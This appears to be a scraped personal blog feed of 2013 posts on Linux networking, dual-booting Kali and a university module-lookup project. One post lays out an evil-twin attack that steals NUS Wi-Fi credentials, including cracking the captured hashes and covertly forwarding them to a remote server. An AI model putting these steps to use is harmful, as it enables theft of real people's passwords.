<p>It seemed quite natural to me that SSH, httpd would load at boot so I
didn't check ps. Anyway, it was much later before I realised the problem.
I will carry on with a blacklist now, too risky to default drop, lest I
get locked out again in a couple months time</p>
Linux box to AP with hostapd/dhcpd/iptables2013-06-18T02:19:00+08:002013-06-18T02:19:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-18:/articles/linux-box-to-ap-with-hostapddhcpdiptables.html<p>2 weeks after my last failure, my hands started itching again and I
tried to bridge my ethernet connection to a wireless adapter running in
AP mode. Some reasons which resulted in my failures in previous
occasions</p>
<p>1) Networking on a headless server - When playing with networks, you
need to …</p><p>2 weeks after my last failure, my hands started itching again and I
tried to bridge my ethernet connection to a wireless adapter running in
AP mode. Some reasons which resulted in my failures in previous
occasions</p>
<p>1) Networking on a headless server - When playing with networks, you
need to work locally since you will be bringing down interfaces and up
again. Finding a head for the server was rather difficult. The cubie had
only 1 HDMI port which because of some problems with EDID, only worked
with the TV in the living room.I couldn't hog the TV the entire day
trying to find what was wrong.</p>
<p>2) Interdependence - hostapd was for the AP mode, dhcpd for allocation
of IP and iptables was to set up a NAT between the 2 connections, all 3
needed to work hand in hand and it was quite difficult to get them to
play nice together.</p>
<p>Problem 1 was so bad that there was a stage where I attached 3 different
network cards so I could bring down 2 interfaces and bridge them while
still retaining connection to server from the 3rd connection. While it
sounded nice theoretically, connection was still lost once I brought
eth0 down.</p>
<p>I then tried mounting the entire fs on my laptop, doing the
configuration there and remounting it and booting the server. This was a
rather slow process, transferring the SD card from laptop to server and
back again every time I needed to test a change. I eventually gave up due
to the hassle.</p>
<p>After trying out so many methods, using dnsmasq, routing DHCP requests,
and trying out different config files, it finally worked. I now have a
2nd SSID on a different subnet.</p>
Stealing code2013-06-15T20:42:00+08:002013-06-15T20:42:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-15:/articles/stealing-code.html<p>Much of client side web technology today runs directly from source, E.g.
HTML/CSS/JS... , which means source code is readily available to anyone
who wants it, a far cry from software where source code is often kept
tightly under wraps. As such, it is very simple to just …</p><p>Much of client side web technology today runs directly from source, E.g.
HTML/CSS/JS... , which means source code is readily available to anyone
who wants it, a far cry from software where source code is often kept
tightly under wraps. As such, it is very simple to just copy out chunks
of code and include it in your website.</p>
<p>And since it is just code, it seems to be quite difficult to track
compared to stuff like images. Especially when it involves just a few
lines of code, e.g. 10 lines of CSS for a button, how do you prove that
those 10 lines were copied and not his own code. Because of this, web
developers in my opinion tend to be more relaxed about their code. To be
honest, I hardly write CSS code for elements such as buttons, borders
and such. Mostly because I am unable to get that polished look due to
the carefully calculated gradient of the background and subtle changes
in color when mouseover. Yes, the designers might have spent hours
trying out different color combinations to achieve that perfect result
but sometimes, when its just that 30 lines of code, the temptation to
just copy might be too much to bear.</p>
Spoofing NUS WPA2 and stealing credentials2013-06-13T19:34:00+08:002013-06-13T19:34:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-13:/articles/spoofing-nus-wpa2-and-stealing-credentials.html<div class="admonition danger">
<p class="admonition-title">Warning</p>
<p>Content in this post is for educational purposes only, it may
be illegal to carry out the exploit mentioned. The author is not
responsible for any action taken against you if you carry it out.</p>
</div>
<p>This exploit is possible because of configuration settings in PEAP where certificate validation is …</p><div class="admonition danger">
<p class="admonition-title">Warning</p>
<p>Content in this post is for educational purposes only, it may
be illegal to carry out the exploit mentioned. The author is not
responsible for any action taken against you if you carry it out.</p>
</div>
<p>This exploit is possible because of configuration settings in PEAP where certificate validation is not used. As such, even if an invalid certificate is being used, the client will not be notified and will continue to authenticate with the server.</p>
<p>Steps to carry out the exploit:</p>
<ol>
<li>
<p>Setup a router with the exact same configuration of the NUS network. WPA2-Enterprise (PEAP-MSCHAPv2).</p>
</li>
<li>
<p>Setup a RADIUS server on a PC and configure it to log down credentials of everyone who connected.</p>
</li>
<li>
<p>Configure the router to use your RADIUS server.</p>
</li>
<li>
<p>Wait for people to connect and steal their NUSNET credentials.</p>
</li>
<li>
<p>Break the NTLM hash to obtain their NUSNET passwords.</p>
</li>
</ol>
<p>I used <code>freeradius-wpe</code>, which does not respond to authentication requests so clients will not be able to complete the connection. The only tell tale sign is a "dead spot" where you cannot connect to NUS network. MSCHAPv2 uses challenge response, so the plaintext password is never sent across the network and hence, we will have to brute force the hash to obtain it.</p>
<p>Since devices will automatically connect to the strongest signal with stored credentials, they just need to walk in range of your router for the connection to happen. If you are adventurous, you might even be able to setup a soft AP with hostapd in place of your router, allowing you to carry out the attack with only a laptop. For long term use, you might want to purchase a router model that NUS uses and mount it nicely somewhere with high human traffic, you could use a raspi as your radius server, connect it to a legit AP and configure it to forward stolen credentials to a server somewhere. It could be months/years before the rogue router is discovered.</p>
<p>I believe the lack of certificate validation might have been for student's convenience. After all, technical support will be very busy if they need to guide students on the process of transferring certificates to their devices and configuring it. It is way simpler to authenticate with only username and password.</p>
<p><img alt="image" src="//limbenjamin.com/media/nuswpa.png"></p>
<p>Certain confidential details have been redacted to protect my privacy. The only thing left is to find a GPU cluster to brute force the hash to obtain the passwords. Passwords with 8 or less characters should be "brute forcable" in a reasonable amount of time. </p>Dual booting2013-06-13T04:48:00+08:002013-06-13T04:48:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-13:/articles/dual-booting.html<p>Barely one month after getting rid of my Ubuntu/Win 7 dual boot
combination, I installed linux on my laptop once again. This time
though, its Kali Linux, because using Backtrack in a VM was creating
more trouble than it was worth. I guess having a separate OS only for …</p><p>Barely one month after getting rid of my Ubuntu/Win 7 dual boot
combination, I installed linux on my laptop once again. This time
though, its Kali Linux, because using Backtrack in a VM was creating
more trouble than it was worth. I guess having a separate OS only for
pen testing is workable.</p>
<p>Anyway, I got rid of Ubuntu because of the following reasons.</p>
<p>1) Unstable, for a general use OS I cant have drivers breaking after a
regular update. My broken graphic card driver was the last straw.</p>
<p>2) No native support for many programs. Yeah I know there is Wine, but
there are just some minor quirks such as silverlight which is used to
view webcast lectures not working, and powerpoint presentation mode
animation not smooth because it cannot make use of graphic card, plus
some weird black shapes when resizing images.</p>
<p>3) I cannot find an ext4 file editor for windows.Plus lots of utilities
made only for windows, no linux version.</p>
<ol class="arabic simple" start="4">
<li>Shuffling between OSes rather time consuming.</li>
</ol>
<p>5) An excuse to reformat everything and install windows 8. (My windows 7
installation was collecting quite a lot of garbage, having transferred
it over 3 different laptops in the span of around 5 years.Back then, I
amassed quite a suite of utilities to do everything from encoding videos
to managing shell extensions and didn't want to reinstall everything so I
ported the installation around)</p>
<p>Life without linux wasn't so bad since I got cygwin for all my shell
commands, swish to mount sftp drives and a lot of other utilities. The
only problem with dual booting Kali now would be that it would take a
few seconds longer to get to Windows because of grub. Well, i guess its
worth it though, to not have the trouble of dealing with bridging
connections/emulating hardware/creating virtual bridged interfaces....
You get the idea.</p>
Orbital Project Log2013-06-01T04:03:00+08:002013-06-01T04:03:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-01:/articles/orbital-project-log.html<table id="hor-minimalist-b" summary="Project Journal Log"></p><p>Project Log - Benjamin</p>
<p><thead></p><p><tr></p><p><th scope="col"><p>Week</p>
</th></p><p><th scope="col"><p>Description</p>
</th></p><p><th scope="col"><p>Hours</p>
</th></p><p></tr></p><p></thead></p><p><tbody></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Liftoff Workshop</p>
</td></p><p><td><p>16</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Analyse giftbook and convert it into nusmods</p>
</td></p><p><td><p>5</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Write and run script to wget and parse module information</p>
</td></p><p><td><p>8</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Implement REST interface</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Hack Android app to connect over REST interface</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Upload module info …</p></td></p></table><table id="hor-minimalist-b" summary="Project Journal Log"></p><p>Project Log - Benjamin</p>
<p><thead></p><p><tr></p><p><th scope="col"><p>Week</p>
</th></p><p><th scope="col"><p>Description</p>
</th></p><p><th scope="col"><p>Hours</p>
</th></p><p></tr></p><p></thead></p><p><tbody></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Liftoff Workshop</p>
</td></p><p><td><p>16</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Analyse giftbook and convert it into nusmods</p>
</td></p><p><td><p>5</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Write and run script to wget and parse module information</p>
</td></p><p><td><p>8</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Implement REST interface</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Hack Android app to connect over REST interface</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Upload module info to datastore</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Askbot forum</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Implement graph mode</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>UI for graph mode</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Project Wiki+log+video</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Askbot forum</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Try out graph generation in 2d and 3d</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Look into possible GQL injection</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Experiment with hosting GAE app locally</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Peer review of projects</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Askbot forum</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Update/Formatting and presentation of project log/wiki</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Wget and parse information on which sem a module is offered</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Updated template and rewrite db query</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Thinking</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Askbot forum</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><tr></p><p><td><p>5</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><td><p>5</p>
</td></p><p><td><p>Upload information onto nusmods</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>5</p>
</td></p><p><td><p>Added hover to show prerequisites function</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>6</p>
</td></p><p><td><p>Improve android app UI</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Askbot forum</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Project Report/Log/Video</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Feedback for others + review feedback</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Implement export as xls function</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Try to render svg to png without taint</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Find solution to export graph as image</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Try converting svg on the fly</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Reverted to older version of jsplumb</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Implemented canvas to png</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Tidy up graph code</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>11</p>
</td></p><p><td><p>Script to download and parse modules</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>11</p>
</td></p><p><td><p>Update project wiki/log/video</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>11</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Final modifications to app/wiki/log</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>13</p>
</td></p><p><td><p>Feedback + peer review</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>13</p>
</td></p><p><td><p>Poster design</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><td></td></p><p><td><p>Total</p>
</td></p><p><td><p>135</p>
</td></p><p></tr></p><p></tbody></p><p></table></p><div class="line-block">
<div class="line"><br /></div>
</div>
<table id="hor-minimalist-b" summary="Project Journal Log"></p><p>Project Log - Meng Di</p>
<p><thead></p><p><tr></p><p><th scope="col"><p>Week</p>
</th></p><p><th scope="col"><p>Description</p>
</th></p><p><th scope="col"><p>Hours</p>
</th></p><p></tr></p><p></thead></p><p><tbody></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Liftoff Workshop</p>
</td></p><p><td><p>16</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Learn HTML</p>
</td></p><p><td><p>6</p>
</td></p><p></tr></p><p><tr></p><p><td><p>1</p>
</td></p><p><td><p>Learn CSS</p>
</td></p><p><td><p>7</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Learn Python</p>
</td></p><p><td><p>9</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Learn Javascript</p>
</td></p><p><td><p>10</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>CSS and UI for website</p>
</td></p><p><td><p>6</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Project Wiki+log+video</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>2</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Peer evaluation</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>3</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Learn bootstrap</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>4</p>
</td></p><p><td><p>Analyse nusmods code</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>5</p>
</td></p><p><td><p>Learn how to add interactive social media button</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>5</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>6</p>
</td></p><p><td><p>Add facebook and twitter button</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>6</p>
</td></p><p><td><p>Learn bootstrap</p>
</td></p><p><td><p>6</p>
</td></p><p></tr></p><p><tr></p><p><td><p>6</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Try to improve UI</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Project report/log/video</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>7</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Feedback + review feedback</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Learn HTML/CSS</p>
</td></p><p><td><p>5</p>
</td></p><p></tr></p><p><tr></p><p><td><p>8</p>
</td></p><p><td><p>Mission Control</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Design homepage</p>
</td></p><p><td><p>5</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Learn bootstrap</p>
</td></p><p><td><p>5</p>
</td></p><p></tr></p><p><tr></p><p><td><p>9</p>
</td></p><p><td><p>Read book</p>
</td></p><p><td><p>4</p>
</td></p><p></tr></p><p><tr></p><p><td><p>10</p>
</td></p><p><td><p>Try to implement design</p>
</td></p><p><td><p>6</p>
</td></p><p></tr></p><p><tr></p><p><td><p>10</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>11</p>
</td></p><p><td><p>Try to implement design</p>
</td></p><p><td><p>3</p>
</td></p><p></tr></p><p><tr></p><p><td><p>11</p>
</td></p><p><td><p>Read book</p>
</td></p><p><td><p>2</p>
</td></p><p></tr><tr></p><p><td><p>11</p>
</td></p><p><td><p>Project wiki/log/video</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Discussion with partner</p>
</td></p><p><td><p>1</p>
</td></p><p></tr></p><p><tr></p><p><td><p>12</p>
</td></p><p><td><p>Askbot</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>13</p>
</td></p><p><td><p>Project feedback/evaulation</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td><p>13</p>
</td></p><p><td><p>Poster Design</p>
</td></p><p><td><p>2</p>
</td></p><p></tr></p><p><tr></p><p><td></td></p><p><td><p>Total</p>
</td></p><p><td><p>137</p>
</td></p><p></tr></p><p></tbody></p><p></table></p>Orbital Project Wiki2013-06-01T04:02:00+08:002013-06-01T04:02:00+08:00Benjamin Limtag:limbenjamin.com,2013-06-01:/articles/orbital-project-wiki.html<p>**Project Reports for nusmods**</p>
<p>This project is done at the Vostok (beginner) level.</p>
<hr class="docutils" />
</p><div class="section" id="first-report-week-3">
<h2>First Report (Week 3)</h2>
</p><p>The aim of the project is to develop a platform which will allow NUS
students to easily retrieve prerequisites and preclusions of modules
offered by NUS. The motivation to do so is because …</p></div><p>**Project Reports for nusmods**</p>
<p>This project is done at the Vostok (beginner) level.</p>
<hr class="docutils" />
</p><div class="section" id="first-report-week-3">
<h2>First Report (Week 3)</h2>
</p><p>The aim of the project is to develop a platform which will allow NUS
students to easily retrieve prerequisites and preclusions of modules
offered by NUS. The motivation to do so is because the current system
offered by NUS is not as user friendly, especially for bulk retrieval of
information for several modules. We have targeted 2 platforms to develop
for, namely, a web application as well as an android application. We
would be using Google Datastore for storage and other platforms will
access the data through a REST interface.</p>
<p>The main features in the website are the table mode, graph mode and REST
interface. The table mode allows users to view information of multiple
modules in a single table. The graph mode allows them to manually map
out a dependency graph of their modules. The REST interface allows other
developers to make use of all module information that we have already
preloaded into our database.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="second-report-week-8">
<h2>Second Report (Week 8)</h2>
</p><p>Over the last couple of weeks, we have managed to successfully implement
all features that were proposed.The features are as follows:</p>
<p>1.Beautifying the UI of the android app - The UI has been improved to
include instructions and boxes for neater display of content, the submit
button has also been enlarged so it is easier for users to hit it.
Screenshots available at
<a class="reference external" href="https://play.google.com/store/apps/details?id=com.limbenjamin.nusmods">https://play.google.com/store/apps/details?id=com.limbenjamin.nusmods</a>. The
screenshots are pretty self explanatory in case you are not using
android or do not want to install the app.</p>
<p>2.Tidying up the code (currently most of the code is hacked together) -
Most of the excess code for functions not being used has been stripped,
query has been parameterised to improve on security.</p>
<p>3.Share on facebook/twitter functionality - Can be observed on main
site.</p>
<p>Reponse to feedback</p>
<p>Changing name because there is an existing nusmods.com - We will retain
the URL nusmods.appspot.com but our page title and page name will be
named "NUS Modules" to avoid confusion.</p>
<p>Putting table at side of graph- We have added a feature so that when you
hover your mouse over a module, the prerequisites will show in a popup
bubble</p>
<p>Additionally, we have also added in instructions throughout the website
to guide users. Pictures in the banner to show users what they can
expect. We have also added in additional data on which semester a module
is offered as feedbacked.</p>
<p>For the next sprint, we will working on the following three features:</p>
<p> 1. Allowing users to export the table/graph as csv/jpg</p>
<p> 2. Improving the UI of the graph page</p>
<p> 3. Script to automate process of updating module information</p>
<p>User Stories</p>
<p>Feature 1: A year 1 arts student has spent the last 30 minutes graphing
out her modules and wants to save it for future reference. She is not
familiar with computers and does not know how to use the print screen
function.</p>
<p>Feature 2: A year 2 new media student wants a nicer looking graph page
than the current drab grey coloured page.</p>
<p>Feature 3: The developers of this app do not want to spend the rest of
their time in NUS updating modules and want a script which will automate
the process.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="final-report-week-12">
<h2>Final Report (Week 12)</h2>
</p><p>We have sucessfully implemented all the features that were targeted in
the previous sprint. Video can be found
[here](<a class="reference external" href="http://limbenjamin.com/video3.mp4">http://limbenjamin.com/video3.mp4</a>)</p>
<p>1) Allowing users to export the table/graph as csv/jpg - instead of csv
for the table and jpg for the image, we have implemented export to xls
for table and png for image due to exising libraries which are already
present for the file formats. Unfortunately, there are a few security
features triggered which might inconvenience users, excel 2013 would
display a warning that the file might be unsafe and chrome will block
the image popup.</p>
<p>2) Improving the UI of the graph page - The prerequisite popup bubble
has been styled to look nicer, users have the option to toggle between
white, red, green or blue background color for the module by double
clicking on it. Colors can be used to differentiate between core and
electives, or users can come up with their own color scheme, e.g.
different colors for different level modules.</p>
<p>3) Script to automate process of updating module information - The
script to download and parse module information from IVLE website has
been completed and uploaded <a class="reference external" href="https://github.com/limbenjamin/modulescrapper">here</a>. This script will generate a CSV
file which is ready for upload to GAE using the bulkloader. We did not
automate the uploading because of the amount of information will
definitely exceed the daily upload quota.</p>
<p>No additional work was done on the android app for this sprint.</p>
<p>Initial aim : Vostok</p>
<p>Current Estimated level : Gemini</p>
<p>List of features implemented:</p>
<ul class="simple">
<li>Display of module information in table form</li>
<li>Manually graph out module prerequisites</li>
<li>API to allow other other developers to access database</li>
<li>Android app to access module information</li>
<li>Social media integration</li>
<li>Export information as xls and png</li>
<li>Shell script to automate updating process</li>
</ul>
<p>We intended to automate the graph generation but eventually decided not
to implement it because parsing the prerequisites might introduce
errors. E.g. instead of module A AND B, our parser might interpret it as
module A OR B. This would be disastrous if the user did not double check
and relied solely on our graph.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="comments-after-reading-evaluator-s-feedback-week-3">
<h2>Comments after reading evaluator's feedback(Week 3)</h2>
</p><p>Firstly, we would like to thank everyone for their time spent reviewing
our application.Points that were raised include</p>
<p>Changing name because there is an existing nusmods.com - We will
consider the suggestion, the main problem faced is that it will take
another 8 days to upload all 10,000 module's information due to daily
quota limits of app engine.</p>
<p>Using webview, or mobile view of website - Our current website is
already optimized for mobile. The reason for having an android app is
due to user story 3, because you might need module information in a
hurry and might not remember the URL for the website. Secondly, the
single module search only is actually a limit that we imposed, reason
being it is meant for quick checking use as described in user story 3
and not for mapping your entire 4 years. I also did not want to clutter
the screen since screen size for mobile devices is quite small.Need not
worry about the time it takes, we need to finds things to fill up 130
hours.</p>
<p>Putting table at side of graph- We have considered it but the main
drawback is that you would have less screen real estate available to do
your graphing. We may implement a popup bubble with prerequisites when
you mouseover the module item.</p>
<p>Better explanations throughout website - We have actually hinted by
placing "CS1010,is1103,EC1301" in the search box to show that multiple
modules are accepted and input is not case sensitive. Nevertheless, we
do acknowledge that the website is very poorly explained because we were
focusing on functionality and making sure everything works.</p>
<p>We will be working on improving the user experience through better
instructions to make sure that users are not confused when using the
website. Xofel has also suggested adding in information on whether a
module is offered during which semester. These 2 features will also be
completed in the next sprint. As for the automated graph, we will be
putting it on hold due to the complexity of the task.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="comments-after-reading-evaluator-s-feedback-week-8">
<h2>Comments after reading evaluator's feedback(Week 8)</h2>
</p><p>Feedback 1: Students have to first look through the module listing from
school website before entering into NUS modules website.</p>
<p>It will be very convenient if we could just select our major/stream and
have the list of modules automatically loaded. Unfortunately, we do not
know of a website which list all the required modules of all the various
majors/streams from all faculties. It would be too troublesome to search
each faculty's website and manually add in the modules. Furthermore,
certain faculties may not even publish this information on their
websites.</p>
<p>Feedback 2: Location where instructions are placed are normally used for
website description</p>
<p>That is certainly true, we will look into modifying the layout to
accommodate the instructions at a suitable location</p>
<p>Feedback 3: Implement Unit testing</p>
<p>May consider if we have time, but priority is to finish up the features
specified.</p>
<p>Feedback 4: Get non-SOC people to test</p>
<p>We would try approaching a few non-SOC friends to get their feedback on
the app.</p>
<p>Since there is no feedback on the user stories for the next sprint, we
will be retaining it.</p>
<p>Note: The graph feature will continue to be manually drag-and-connect.
Plans to automate it has been shelved because we cannot guarantee its
accuracy to a reasonable level. Users will therefore have to
double-check the generated graph to be safe (or they risk not graduating
on time). There is no point automating the process if you have to
manually double check the results, therefore we have decided not to
implement it.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="comments-after-reading-evaluator-s-feedback-week-12">
<h2>Comments after reading evaluator's feedback(Week 12)</h2>
</p><p>Feedback 1: Seamless switching between graph and table mode without
re-entry of modules.</p>
<p>Why yes! We are unsure how this managed to escape all our minds for so
long, but this is definitely a very good and useful feature.</p>
<p>Feedback 2: Additional information e.g. timetable schedule, workload</p>
<p>Unfortunately, we feel that this would deviate from the use case of the
app. We intend to provide a way to easily look up and graph
prerequisites for modules. We are not interested in creating a
timetabling app or modules per semester app. By implementing too many
features, it may dilute our core functionality. Others apps out there
serve a very specific purpose as well. E.g. nusmods.com for timetabling,
corspedia for CORS bidding and so on.</p>
<p>Feedback 3: Input format restriction</p>
<p>This is a concern. We will allow space for graph mode. However in the
long run, we are looking are implementing an "autocomplete" type of
dropdown menu so users can select instead of typing out the full module
code. This would hopefully reduce input problems. However, one of the
biggest challenges is that the "autocomplete" list has 10,000+ modules.</p>
<p>Feedback 4: Graph UI improvement</p>
<p>Improving and changing the UI is a continous process that we will be
doing.</p>
<p>Feedback 5: Video</p>
<p>We apologise for the video. What happened was that both of us were very
busy during submission week so we finished the video and wiki 1 week
earlier. We had assumed that the video would be similar to previous
iterations. I.E. less than 3 mins, introducing new features.
Unfortunately, when prof released the details, it was a 5 minute video
about the entire app. By then, we were already too busy and did not have
enough time to redo the video.</p>
<p>We would like to thank all our fellow peer evaluators for their time and
effort reviewing and giving feedback for our app. We have certainly
benefited from the constructive feedback and hope that we have not
fallen short on our evaluation of your apps. We will continue to maintain
this app for the next 6 months. Beyond that, it depends largely on the
amount of traffic. It makes no sense to spend time on a project that is
not utilised. We would rather work on something that is of use to
someone.</p>
<hr class="docutils" />
</p></div>
<div class="section" id="competitors">
<h2>Competitors</h2>
</p><p>Currently, we see no competitors as we do not know of a web app that
provides similar functionality. The IVLE site provides minimal
